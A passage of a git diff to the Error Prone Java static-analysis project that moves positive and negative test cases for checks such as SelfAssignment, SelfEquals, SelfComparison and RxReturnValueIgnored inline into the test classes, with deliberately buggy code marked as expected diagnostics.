acceptFunctionOfVoid(fn::apply); + } + + public void arraysReturnValues() { + int[] numbers = {5, 4, 3, 2, 1}; + int result = Arrays.binarySearch(numbers, 3); + int hashCode = Arrays.hashCode(numbers); + } + + public void arraysNoReturnValues() { + int[] numbers = {5, 4, 3, 2, 1}; + Arrays.fill(numbers, 0); + Arrays.sort(numbers); + } + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/RxReturnValueIgnoredTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/RxReturnValueIgnoredTest.java index b2e3a426ad8..455f1c1bc43 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/RxReturnValueIgnoredTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/RxReturnValueIgnoredTest.java @@ -98,12 +98,252 @@ public class Flowable {} @Test public void positiveCases() { - compilationHelper.addSourceFile("testdata/RxReturnValueIgnoredPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "RxReturnValueIgnoredPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.errorprone.annotations.CanIgnoreReturnValue; +import io.reactivex.Flowable; +import io.reactivex.Maybe; +import io.reactivex.Observable; +import io.reactivex.Single; +import java.util.Arrays; +import java.util.HashMap; +import java.util.Map; + +/** + * @author friedj@google.com (Jake Fried) + */ +public class RxReturnValueIgnoredPositiveCases { + private static Observable getObservable() { + return null; + } + + private static Single getSingle() { + return null; + } + + private static Flowable getFlowable() { + return null; + } + + private static Maybe getMaybe() { + return null; + } + + { + new Observable(); + new Single(); + new Flowable(); + new Maybe(); + + // BUG: Diagnostic contains: Rx objects must be checked. + getObservable(); + // BUG: Diagnostic contains: Rx objects must be checked. + getSingle(); + // BUG: Diagnostic contains: Rx objects must be checked. + getFlowable(); + // BUG: Diagnostic contains: Rx objects must be checked. + getMaybe(); + + // BUG: Diagnostic contains: Rx objects must be checked. + Arrays.asList(1, 2, 3).forEach(n -> getObservable()); + // BUG: Diagnostic contains: Rx objects must be checked. + Arrays.asList(1, 2, 3).forEach(n -> getSingle()); + // BUG: Diagnostic contains: Rx objects must be checked. + Arrays.asList(1, 2, 3).forEach(n -> getFlowable()); + // BUG: Diagnostic contains: Rx objects must be checked. + Arrays.asList(1, 2, 3).forEach(n -> getMaybe()); + } + + private abstract static class IgnoringParent { + @CanIgnoreReturnValue + abstract T ignoringFunction(); + } + + private class NonIgnoringObservableChild extends IgnoringParent> { + @Override + Observable ignoringFunction() { + return null; + } + } + + private class NonIgnoringSingleChild extends IgnoringParent> { + @Override + Single ignoringFunction() { + return null; + } + } + + private class NonIgnoringFlowableChild extends IgnoringParent> { + @Override + Flowable ignoringFunction() { + return null; + } + } + + private class NonIgnoringMaybeChild extends IgnoringParent> { + @Override + Maybe ignoringFunction() { + return null; + } + } + + public void inheritanceTest() { + NonIgnoringObservableChild observableChild = new NonIgnoringObservableChild(); + NonIgnoringSingleChild singleChild = new NonIgnoringSingleChild(); + NonIgnoringFlowableChild flowableChild = new NonIgnoringFlowableChild(); + NonIgnoringMaybeChild maybeChild = new NonIgnoringMaybeChild(); + + // BUG: Diagnostic contains: Rx objects must be checked. + observableChild.ignoringFunction(); + // BUG: Diagnostic contains: Rx objects must be checked. + singleChild.ignoringFunction(); + // BUG: Diagnostic contains: Rx objects must be checked. + flowableChild.ignoringFunction(); + // BUG: Diagnostic contains: Rx objects must be checked. + maybeChild.ignoringFunction(); + } + + public void conditional() { + if (false) { + // BUG: Diagnostic contains: Rx objects must be checked. + getObservable(); + // BUG: Diagnostic contains: Rx objects must be checked. + getSingle(); + // BUG: Diagnostic contains: Rx objects must be checked. + getFlowable(); + // BUG: Diagnostic contains: Rx objects must be checked. + getMaybe(); + } + + return; + } + + static void getFromMap() { + Map map1 = new HashMap<>(); + Map map2 = new HashMap<>(); + Map map3 = new HashMap<>(); + Map map4 = new HashMap<>(); + + // BUG: Diagnostic contains: Rx objects must be checked. + map1.get(null); + // BUG: Diagnostic contains: Rx objects must be checked. + map2.get(null); + // BUG: Diagnostic contains: Rx objects must be checked. + map3.get(null); + // BUG: Diagnostic contains: Rx objects must be checked. + map4.get(null); + } +}""") + .doTest(); } @Test public void negativeCases() { - compilationHelper.addSourceFile("testdata/RxReturnValueIgnoredNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "RxReturnValueIgnoredNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.errorprone.annotations.CanIgnoreReturnValue; + import io.reactivex.Flowable; + import io.reactivex.Maybe; + import io.reactivex.Observable; + import io.reactivex.Single; + import java.util.HashMap; + import java.util.Map; + + /** + * @author friedj@google.com (Jake Fried) + */ + public class RxReturnValueIgnoredNegativeCases { + interface CanIgnoreMethod { + @CanIgnoreReturnValue + Observable getObservable(); + + @CanIgnoreReturnValue + Single getSingle(); + + @CanIgnoreReturnValue + Flowable getFlowable(); + + @CanIgnoreReturnValue + Maybe getMaybe(); + } + + public static class CanIgnoreImpl implements CanIgnoreMethod { + @Override + public Observable getObservable() { + return null; + } + + @Override + public Single getSingle() { + return null; + } + + @Override + public Flowable getFlowable() { + return null; + } + + @Override + public Maybe getMaybe() { + return null; + } + } + + static void callIgnoredInterfaceMethod() { + new CanIgnoreImpl().getObservable(); + new CanIgnoreImpl().getSingle(); + new CanIgnoreImpl().getFlowable(); + new CanIgnoreImpl().getMaybe(); + } + + static void putInMap() { + Map> map1 = new HashMap<>(); + Map> map2 = new HashMap<>(); + Map> map3 = new HashMap<>(); + HashMap> map4 = new HashMap<>(); + + map1.put(new Object(), null); + map2.put(new Object(), null); + map3.put(new Object(), null); + map4.put(new Object(), null); + } + + @CanIgnoreReturnValue + Observable getObservable() { + return null; + } + + @CanIgnoreReturnValue + Single getSingle() { + return null; + } + + @CanIgnoreReturnValue + Flowable getFlowable() { + return null; + } + + @CanIgnoreReturnValue + Maybe getMaybe() { + return null; + } + + void checkIgnore() { + getObservable(); + getSingle(); + getFlowable(); + getMaybe(); + } + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/SelfAssertionTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/SelfAssertionTest.java index 5ee241631d5..e442fa300d5 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/SelfAssertionTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/SelfAssertionTest.java @@ -38,12 +38,99 @@ public void setUp() { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/SelfAssertionPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "SelfAssertionPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.truth.Truth.assertThat; + import static com.google.common.truth.Truth.assertWithMessage; + + /** + * Positive test cases for SelfAssertion check. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class SelfAssertionPositiveCases { + + public void testAssertThatEq() { + String test = Boolean.TRUE.toString(); + // BUG: Diagnostic contains: + assertThat(test).isEqualTo(test); + } + + public void testAssertWithMessageEq() { + String test = Boolean.TRUE.toString(); + // BUG: Diagnostic contains: + assertWithMessage("msg").that(test).isEqualTo(test); + } + + public void testAssertThatSame() { + String test = Boolean.TRUE.toString(); + // BUG: Diagnostic contains: + assertThat(test).isSameInstanceAs(test); + } + + public void testAssertWithMessageSame() { + String test = Boolean.TRUE.toString(); + // BUG: Diagnostic contains: + assertWithMessage("msg").that(test).isSameInstanceAs(test); + } + + public void testAssertThatNeq() { + String test = Boolean.TRUE.toString(); + // BUG: Diagnostic contains: + assertThat(test).isNotEqualTo(test); + } + + public void testAssertThatNotSame() { + String test = Boolean.TRUE.toString(); + // BUG: Diagnostic contains: + assertThat(test).isNotSameInstanceAs(test); + } + + public void testAssertWithMessageNeq() { + String test = Boolean.TRUE.toString(); + // BUG: Diagnostic contains: + assertWithMessage("msg").that(test).isNotEqualTo(test); + } + + public void testAssertWithMessageNotSame() { + String test = Boolean.TRUE.toString(); + // BUG: Diagnostic contains: + assertWithMessage("msg").that(test).isNotSameInstanceAs(test); + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/SelfAssertionNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "SelfAssertionNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.truth.Truth.assertThat; + + /** + * Negative test cases for SelfAssertion check. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class SelfAssertionNegativeCases { + + public void testEq() { + assertThat(Boolean.TRUE.toString()).isEqualTo(Boolean.FALSE.toString()); + } + + public void testNeq() { + assertThat(Boolean.TRUE.toString()).isNotEqualTo(Boolean.FALSE.toString()); + } + }""") + .doTest(); } // regression test for b/32107126 diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/SelfAssignmentTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/SelfAssignmentTest.java index 967023e1854..cd665b13e5f 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/SelfAssignmentTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/SelfAssignmentTest.java @@ -32,16 +32,280 @@ public class SelfAssignmentTest { @Test public void positiveCases1() { - compilationHelper.addSourceFile("testdata/SelfAssignmentPositiveCases1.java").doTest(); + compilationHelper + .addSourceLines( + "SelfAssignmentPositiveCases1.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * Tests for self assignment + * + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class SelfAssignmentPositiveCases1 { + private int a; + + public void test1(int b) { + // BUG: Diagnostic contains: this.a = b + this.a = a; + } + + public void test2(int b) { + // BUG: Diagnostic contains: remove this line + a = this.a; + } + + public void test3() { + int a = 0; + // BUG: Diagnostic contains: this.a = a + a = a; + } + + public void test4() { + // BUG: Diagnostic contains: remove this line + this.a = this.a; + } + + public void test5() { + // BUG: Diagnostic contains: this.a = a + if ((a = a) != 10) { + System.out.println("foo"); + } + } + + // Check that WrappedTreeMap handles folded strings; tested by EndPosTest. + // See https://code.google.com/p/error-prone/issues/detail?id=209 + public String foldableString() { + return "foo" + "bar"; + } + + public void testCast() { + int a = 0; + // BUG: Diagnostic contains: this.a = (int) a + a = (int) a; + // BUG: Diagnostic contains: this.a = (short) a + a = (short) a; + } + + public void testCast(int x) { + // BUG: Diagnostic contains: this.a = (int) x; + this.a = (int) a; + } + }""") + .doTest(); } @Test public void positiveCases2() { - compilationHelper.addSourceFile("testdata/SelfAssignmentPositiveCases2.java").doTest(); + compilationHelper + .addSourceLines( + "SelfAssignmentPositiveCases2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.base.Preconditions.checkNotNull; + import static java.util.Objects.requireNonNull; + + /** + * Tests for self assignment + * + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class SelfAssignmentPositiveCases2 { + private int a; + private Foo foo; + + // BUG: Diagnostic contains: private static final Object obj + private static final Object obj = SelfAssignmentPositiveCases2.obj; + // BUG: Diagnostic contains: private static final Object obj2 + private static final Object obj2 = checkNotNull(SelfAssignmentPositiveCases2.obj2); + + public void test6() { + Foo foo = new Foo(); + foo.a = 2; + // BUG: Diagnostic contains: remove this line + foo.a = foo.a; + // BUG: Diagnostic contains: checkNotNull(foo.a) + foo.a = checkNotNull(foo.a); + // BUG: Diagnostic contains: requireNonNull(foo.a) + foo.a = requireNonNull(foo.a); + } + + public void test7() { + Foobar f = new Foobar(); + f.foo = new Foo(); + f.foo.a = 10; + // BUG: Diagnostic contains: remove this line + f.foo.a = f.foo.a; + // BUG: Diagnostic contains: checkNotNull(f.foo.a) + f.foo.a = checkNotNull(f.foo.a); + // BUG: Diagnostic contains: requireNonNull(f.foo.a) + f.foo.a = requireNonNull(f.foo.a); + } + + public void test8() { + foo = new Foo(); + // BUG: Diagnostic contains: remove this line + this.foo.a = foo.a; + // BUG: Diagnostic contains: checkNotNull(foo.a) + this.foo.a = checkNotNull(foo.a); + // BUG: Diagnostic contains: requireNonNull(foo.a) + this.foo.a = requireNonNull(foo.a); + } + + public void test9(Foo fao, Foo bar) { + // BUG: Diagnostic contains: this.foo = fao + this.foo = foo; + // BUG: Diagnostic contains: this.foo = checkNotNull(fao) + this.foo = checkNotNull(foo); + // BUG: Diagnostic contains: this.foo = requireNonNull(fao) + this.foo = requireNonNull(foo); + } + + public void test10(Foo foo) { + // BUG: Diagnostic contains: this.foo = foo + foo = foo; + // BUG: Diagnostic contains: this.foo = checkNotNull(foo) + foo = checkNotNull(foo); + // BUG: Diagnostic contains: this.foo = requireNonNull(foo) + foo = requireNonNull(foo); + } + + class Test11 { + final Foo foo; + + Foo fao; + + Test11(Foo foo) { + if (true) { + // BUG: Diagnostic contains: this.fao = foo + foo = foo; + } + this.foo = foo; + } + + public void test11a(Foo foo) { + // BUG: Diagnostic contains: this.fao = foo + foo = foo; + } + } + + private static class Foo { + int a; + } + + private static class Bar { + int a; + } + + private static class Foobar { + Foo foo; + Bar bar; + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/SelfAssignmentNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "SelfAssignmentNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.base.Preconditions.checkNotNull; + import static java.util.Objects.requireNonNull; + + /** + * Tests for self assignment + * + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class SelfAssignmentNegativeCases { + private int a; + + private static int b = StaticClass.b; + private static final int C = SelfAssignmentNegativeCases.b; + private static final int D = checkNotNull(SelfAssignmentNegativeCases.C); + private static final int E = requireNonNull(SelfAssignmentNegativeCases.D); + private static final int F = StaticClass.getIntArr().length; + + public void test1(int a) { + int b = SelfAssignmentNegativeCases.b; + this.a = a; + this.a = checkNotNull(a); + this.a = requireNonNull(a); + } + + public void test2() { + int a = 0; + int b = a; + a = b; + } + + public void test3() { + int a = 10; + } + + public void test4() { + int i = 1; + i += i; + } + + public void test5(SelfAssignmentNegativeCases n) { + a = n.a; + } + + public void test6() { + Foo foo = new Foo(); + Bar bar = new Bar(); + foo.a = bar.a; + foo.a = checkNotNull(bar.a); + foo.a = requireNonNull(bar.a); + } + + public void test7() { + Foobar f1 = new Foobar(); + f1.foo = new Foo(); + f1.bar = new Bar(); + f1.foo.a = f1.bar.a; + f1.foo.a = checkNotNull(f1.bar.a); + f1.foo.a = requireNonNull(f1.bar.a); + } + + public void test8(SelfAssignmentNegativeCases that) { + this.a = that.a; + this.a = checkNotNull(that.a); + this.a = requireNonNull(that.a); + } + + public void test9(int a) { + a += a; + } + + private static class Foo { + int a; + } + + private static class Bar { + int a; + } + + private static class Foobar { + Foo foo; + Bar bar; + } + + private static class StaticClass { + static int b; + + public static int[] getIntArr() { + return new int[10]; + } + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/SelfComparisonTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/SelfComparisonTest.java index 231e1957360..4867362da1e 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/SelfComparisonTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/SelfComparisonTest.java @@ -38,11 +38,136 @@ public void setUp() { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/SelfComparisonPositiveCase.java").doTest(); + compilationHelper + .addSourceLines( + "SelfComparisonPositiveCase.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * Positive test case for {@link SelfComparison} check. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class SelfComparisonPositiveCase implements Comparable { + + public int test1() { + SelfComparisonPositiveCase obj = new SelfComparisonPositiveCase(); + // BUG: Diagnostic contains: An object is compared to itself + return obj.compareTo(obj); + } + + private SelfComparisonPositiveCase obj = new SelfComparisonPositiveCase(); + + public int test2() { + // BUG: Diagnostic contains: An object is compared to itself + return obj.compareTo(this.obj); + } + + public int test3() { + // BUG: Diagnostic contains: An object is compared to itself + return this.obj.compareTo(obj); + } + + public int test4() { + // BUG: Diagnostic contains: An object is compared to itself + return this.obj.compareTo(this.obj); + } + + public int test5() { + // BUG: Diagnostic contains: An object is compared to itself + return compareTo(this); + } + + @Override + public int compareTo(Object o) { + return 0; + } + + public static class ComparisonTest implements Comparable { + private String testField; + + @Override + public int compareTo(ComparisonTest s) { + return testField.compareTo(s.testField); + } + + public int test1() { + ComparisonTest obj = new ComparisonTest(); + // BUG: Diagnostic contains: An object is compared to itself + return obj.compareTo(obj); + } + + private ComparisonTest obj = new ComparisonTest(); + + public int test2() { + // BUG: Diagnostic contains: An object is compared to itself + return obj.compareTo(this.obj); + } + + public int test3() { + // BUG: Diagnostic contains: An object is compared to itself + return this.obj.compareTo(obj); + } + + public int test4() { + // BUG: Diagnostic contains: An object is compared to itself + return this.obj.compareTo(this.obj); + } + + public int test5() { + // BUG: Diagnostic contains: An object is compared to itself + return compareTo(this); + } + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/SelfComparisonNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "SelfComparisonNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * Negative test cases for {@link SelfComparison} check. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class SelfComparisonNegativeCases implements Comparable { + private String field; + + @Override + public int hashCode() { + return field != null ? field.hashCode() : 0; + } + + @Override + public int compareTo(Object o) { + if (!(o instanceof SelfComparisonNegativeCases)) { + return -1; + } + + SelfComparisonNegativeCases other = (SelfComparisonNegativeCases) o; + return field.compareTo(other.field); + } + + public int test() { + return Boolean.TRUE.toString().compareTo(Boolean.FALSE.toString()); + } + + public static class CopmarisonTest implements Comparable { + private String testField; + + @Override + public int compareTo(CopmarisonTest obj) { + return testField.compareTo(obj.testField); + } + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/SelfEqualsTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/SelfEqualsTest.java index ba963bac7a7..3b403c90409 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/SelfEqualsTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/SelfEqualsTest.java @@ -38,12 +38,154 @@ public void setUp() { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/SelfEqualsPositiveCase.java").doTest(); + compilationHelper + .addSourceLines( + "SelfEqualsPositiveCase.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.truth.Truth.assertThat; + + import org.junit.Assert; + + /** + * Positive test cases for {@link SelfEquals} check. + * + * @author eaftan@google.com (Eddie Aftandilian) + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class SelfEqualsPositiveCase { + protected String simpleField; + + public boolean test1(Object obj) { + if (obj == null || getClass() != obj.getClass()) { + return false; + } + SelfEqualsPositiveCase other = (SelfEqualsPositiveCase) obj; + // BUG: Diagnostic contains: simpleField.equals(other.simpleField); + return simpleField.equals(simpleField); + } + + public boolean test2(SelfEqualsPositiveCase obj) { + if (obj == null || getClass() != obj.getClass()) { + return false; + } + SelfEqualsPositiveCase other = (SelfEqualsPositiveCase) obj; + // BUG: Diagnostic contains: simpleField.equals(other.simpleField); + return simpleField.equals(this.simpleField); + } + + public boolean test3(SelfEqualsPositiveCase obj) { + if (obj == null || getClass() != obj.getClass()) { + return false; + } + SelfEqualsPositiveCase other = (SelfEqualsPositiveCase) obj; + // BUG: Diagnostic contains: this.simpleField.equals(other.simpleField); + return this.simpleField.equals(simpleField); + } + + public boolean test4(SelfEqualsPositiveCase obj) { + if (obj == null || getClass() != obj.getClass()) { + return false; + } + SelfEqualsPositiveCase other = (SelfEqualsPositiveCase) obj; + // BUG: Diagnostic contains: this.simpleField.equals(other.simpleField); + return this.simpleField.equals(this.simpleField); + } + + public boolean test5(SelfEqualsPositiveCase obj) { + if (obj == null || getClass() != obj.getClass()) { + return false; + } + SelfEqualsPositiveCase other = (SelfEqualsPositiveCase) obj; + // BUG: Diagnostic contains: + return equals(this); + } + + public void testAssertTrue(SelfEqualsPositiveCase obj) { + Assert.assertTrue(obj.equals(obj)); + } + + public void testAssertThat(SelfEqualsPositiveCase obj) { + assertThat(obj.equals(obj)).isTrue(); + } + + @Override + public boolean equals(Object obj) { + if (obj == null || getClass() != obj.getClass()) { + return false; + } + SelfEqualsPositiveCase other = (SelfEqualsPositiveCase) obj; + return simpleField.equals(((SelfEqualsPositiveCase) other).simpleField); + } + + private static class SubClass extends SelfEqualsPositiveCase { + @Override + public boolean equals(Object obj) { + if (obj == null || getClass() != obj.getClass()) { + return false; + } + SubClass other = (SubClass) obj; + return simpleField.equals(((SubClass) other).simpleField); + } + } + + public void testSub() { + SubClass sc = new SubClass(); + // BUG: Diagnostic contains: + sc.equals(sc); + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/SelfEqualsNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "SelfEqualsNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.truth.Truth.assertThat; + + /** + * Negative test cases for {@link SelfEquals} check. + * + * @author alexeagle@google.com (Alex Eagle) + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class SelfEqualsNegativeCases { + private String field; + + @Override + public int hashCode() { + return field != null ? field.hashCode() : 0; + } + + @Override + public boolean equals(Object o) { + if (!(o instanceof SelfEqualsNegativeCases)) { + return false; + } + + SelfEqualsNegativeCases other = (SelfEqualsNegativeCases) o; + return field.equals(other.field); + } + + public boolean test() { + return Boolean.TRUE.toString().equals(Boolean.FALSE.toString()); + } + + public void testAssertThatEq(SelfEqualsNegativeCases obj) { + assertThat(obj).isEqualTo(obj); + } + + public void testAssertThatNeq(SelfEqualsNegativeCases obj) { + assertThat(obj).isNotEqualTo(obj); + } + }""") + .doTest(); } @Test @@ -66,12 +208,96 @@ boolean f() { @Test public void positiveCase_guava() { - compilationHelper.addSourceFile("testdata/SelfEqualsGuavaPositiveCase.java").doTest(); + compilationHelper + .addSourceLines( + "SelfEqualsGuavaPositiveCase.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.common.base.Objects; + + /** + * @author alexeagle@google.com (Alex Eagle) + */ + public class SelfEqualsGuavaPositiveCase { + private String field = ""; + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + SelfEqualsGuavaPositiveCase other = (SelfEqualsGuavaPositiveCase) o; + boolean retVal; + // BUG: Diagnostic contains: Objects.equal(field, other.field) + retVal = Objects.equal(field, field); + // BUG: Diagnostic contains: Objects.equal(other.field, this.field) + retVal &= Objects.equal(field, this.field); + // BUG: Diagnostic contains: Objects.equal(this.field, other.field) + retVal &= Objects.equal(this.field, field); + // BUG: Diagnostic contains: Objects.equal(this.field, other.field) + retVal &= Objects.equal(this.field, this.field); + + return retVal; + } + + @Override + public int hashCode() { + return Objects.hashCode(field); + } + + public static void test() { + ForTesting tester = new ForTesting(); + // BUG: Diagnostic contains: Objects.equal(tester.testing.testing, tester.testing) + Objects.equal(tester.testing.testing, tester.testing.testing); + } + + private static class ForTesting { + public ForTesting testing; + public String string; + } + }""") + .doTest(); } @Test public void negativeCase_guava() { - compilationHelper.addSourceFile("testdata/SelfEqualsGuavaNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "SelfEqualsGuavaNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.common.base.Objects; + + /** + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class SelfEqualsGuavaNegativeCases { + private String field; + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + + SelfEqualsGuavaNegativeCases other = (SelfEqualsGuavaNegativeCases) o; + return Objects.equal(field, other.field); + } + + @Override + public int hashCode() { + return field != null ? field.hashCode() : 0; + } + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ShouldHaveEvenArgsTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ShouldHaveEvenArgsTest.java index 4566c5c8a70..ae60d79438b 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ShouldHaveEvenArgsTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ShouldHaveEvenArgsTest.java @@ -38,19 +38,173 @@ public void setUp() { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/ShouldHaveEvenArgsPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "ShouldHaveEvenArgsPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.truth.Truth.assertThat; + + import com.google.common.truth.Correspondence; + import java.util.HashMap; + import java.util.Map; + + /** + * Positive test cases for {@link ShouldHaveEvenArgs} check. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class ShouldHaveEvenArgsPositiveCases { + + private static final Map map = new HashMap(); + + public void testWithOddArgs() { + // BUG: Diagnostic contains: even number of arguments + assertThat(map).containsExactly("hello", "there", "rest"); + + // BUG: Diagnostic contains: even number of arguments + assertThat(map).containsExactly("hello", "there", "hello", "there", "rest"); + + // BUG: Diagnostic contains: even number of arguments + assertThat(map).containsExactly(null, null, null, null, new Object[] {}); + } + + public void testWithArrayArgs() { + String key = "hello"; + Object[] value = new Object[] {}; + Object[][] args = new Object[][] {}; + + // BUG: Diagnostic contains: even number of arguments + assertThat(map).containsExactly(key, value, (Object) args); + } + + public void testWithOddArgsWithCorrespondence() { + assertThat(map) + .comparingValuesUsing(Correspondence.from((a, b) -> true, "dummy")) + // BUG: Diagnostic contains: even number of arguments + .containsExactly("hello", "there", "rest"); + + assertThat(map) + .comparingValuesUsing(Correspondence.from((a, b) -> true, "dummy")) + // BUG: Diagnostic contains: even number of arguments + .containsExactly("hello", "there", "hello", "there", "rest"); + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/ShouldHaveEvenArgsNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "ShouldHaveEvenArgsNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.truth.Truth.assertThat; + + import java.util.HashMap; + import java.util.Map; + + /** + * Negative test cases for {@link ShouldHaveEvenArgs} check. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class ShouldHaveEvenArgsNegativeCases { + + private static final Map map = new HashMap(); + + public void testWithNoArgs() { + assertThat(map).containsExactly(); + } + + public void testWithMinimalArgs() { + assertThat(map).containsExactly("hello", "there"); + } + + public void testWithEvenArgs() { + assertThat(map).containsExactly("hello", "there", "hello", "there"); + } + + public void testWithVarargs(Object... args) { + assertThat(map).containsExactly("hello", args); + assertThat(map).containsExactly("hello", "world", args); + } + + public void testWithArray() { + String[] arg = {"hello", "there"}; + assertThat(map).containsExactly("yolo", arg); + + String key = "hello"; + Object[] value = new Object[] {}; + Object[][] args = new Object[][] {}; + + assertThat(map).containsExactly(key, value); + assertThat(map).containsExactly(key, value, (Object[]) args); + assertThat(map).containsExactly(key, value, key, value, key, value); + } + }""") + .doTest(); } @org.junit.Ignore("Public truth doesn't contain this method") @Test public void positiveCase_multimap() { compilationHelper - .addSourceFile("testdata/ShouldHaveEvenArgsMultimapPositiveCases.java") + .addSourceLines( + "ShouldHaveEvenArgsMultimapPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.truth.Truth.assertThat; + + import com.google.common.collect.ImmutableMultimap; + import com.google.common.collect.Multimap; + import com.google.common.truth.Correspondence; + + /** + * Positive test cases for {@link ShouldHaveEvenArgs} check. + * + * @author monnoroch@google.com (Max Strakhov) + */ + public class ShouldHaveEvenArgsMultimapPositiveCases { + + private static final Multimap multimap = ImmutableMultimap.of(); + + public void testWithOddArgs() { + // BUG: Diagnostic contains: even number of arguments + assertThat(multimap).containsExactly("hello", "there", "rest"); + + // BUG: Diagnostic contains: even number of arguments + assertThat(multimap).containsExactly("hello", "there", "hello", "there", "rest"); + + // BUG: Diagnostic contains: even number of arguments + assertThat(multimap).containsExactly(null, null, null, null, new Object[] {}); + } + + public void testWithArrayArgs() { + String key = "hello"; + Object[] value = new Object[] {}; + Object[][] args = new Object[][] {}; + + // BUG: Diagnostic contains: even number of arguments + assertThat(multimap).containsExactly(key, value, (Object) args); + } + + public void testWithOddArgsWithCorrespondence() { + assertThat(multimap) + .comparingValuesUsing(Correspondence.from((a, b) -> true, "dummy")) + // BUG: Diagnostic contains: even number of arguments + .containsExactly("hello", "there", "rest"); + + assertThat(multimap) + .comparingValuesUsing(Correspondence.from((a, b) -> true, "dummy")) + // BUG: Diagnostic contains: even number of arguments + .containsExactly("hello", "there", "hello", "there", "rest"); + } + }""") .doTest(); } @@ -58,7 +212,51 @@ public void positiveCase_multimap() { @Test public void negativeCase_multimap() { compilationHelper - .addSourceFile("testdata/ShouldHaveEvenArgsMultimapNegativeCases.java") + .addSourceLines( + "ShouldHaveEvenArgsMultimapNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.truth.Truth.assertThat; + + import com.google.common.collect.ImmutableMultimap; + import com.google.common.collect.Multimap; + + /** + * Negative test cases for {@link ShouldHaveEvenArgs} check. + * + * @author monnoroch@google.com (Max Strakhov) + */ + public class ShouldHaveEvenArgsMultimapNegativeCases { + + private static final Multimap multimap = ImmutableMultimap.of(); + + public void testWithMinimalArgs() { + assertThat(multimap).containsExactly("hello", "there"); + } + + public void testWithEvenArgs() { + assertThat(multimap).containsExactly("hello", "there", "hello", "there"); + } + + public void testWithVarargs(Object... args) { + assertThat(multimap).containsExactly("hello", args); + assertThat(multimap).containsExactly("hello", "world", args); + } + + public void testWithArray() { + String[] arg = {"hello", "there"}; + 